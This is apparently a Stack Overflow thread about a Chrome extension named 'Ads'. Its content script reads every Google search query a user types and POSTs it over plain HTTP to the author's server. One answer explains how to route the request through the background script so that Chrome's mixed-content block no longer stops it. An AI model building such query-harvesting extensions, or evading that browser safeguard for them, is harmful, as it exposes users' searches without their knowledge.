3

Hello all i am having a strange issue with sending a request from https site to http site by google chrome extension..

jquery.js:6 Mixed Content: The page at 'https://www.google.co.in/webhp?hl=en' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://ip/stats/search.php?keywords=apple'. This request has been blocked; the content must be served over HTTPS.

this is my code which is injected to the site ...

  $(document).ready(function(){
    $('input[name=q]').keydown(function(e) {
        if (e.keyCode == 13) {
            v = $(this).val();
            v=encodeURI(v);
        $.ajax({
        type: 'POST',
        url: 'http://myipaddress/stats/search.php?keywords='+v,
        data:{'search':v},
        success: function(data){ 
        //something....
        }   
        });
           }


  }); 
  });

Manifest.json

   {
  "name": "Ads",
  "version": "0.0.1",
  "manifest_version": 2,
   "description": "Injecting stuff",

      "background":
         {
         "scripts": ["jquery.js","background.js"]
              },
          "browser_action": {
        "default_title": "Inject!"
          },
         "permissions": [
        "https://*/*",
         "http://*/*",
         "tabs"
        ],"content_scripts" : [
         {
       "js": ["jquery.js", "inject.js"],
           "matches": ["*://*/*"]
      }
       ]
       }
Lisa
  • 33
  • 1
  • 2
  • 5

2 Answers2

0

This is a security feature. Most (all?) modern browsers require HTTPS domains to load all content via HTTPS. Any insecure (HTTP) requests will be blocked.

However, you might want to check out this SO thread, it has some interesting links that may lead you to a solution.

Community
  • 1
  • 1
cyberbit
  • 1,345
  • 15
  • 22
0

If you can't make a request from the content script due to the page's origin, delegate that to the background script.

Send a message to the background script to instruct it to make a request, then return the response. Remember to return true from the handler to indicate that you will respond asynchronously.

Xan
  • 74,770
  • 16
  • 179
  • 206
  • can you provide me some sample code for this ?? – Lisa May 30 '16 at 13:57
  • Linked question links to [this](http://stackoverflow.com/questions/7699615/cross-domain-xmlhttprequest-using-background-pages/7699773#7699773) as an example. – Xan May 30 '16 at 13:58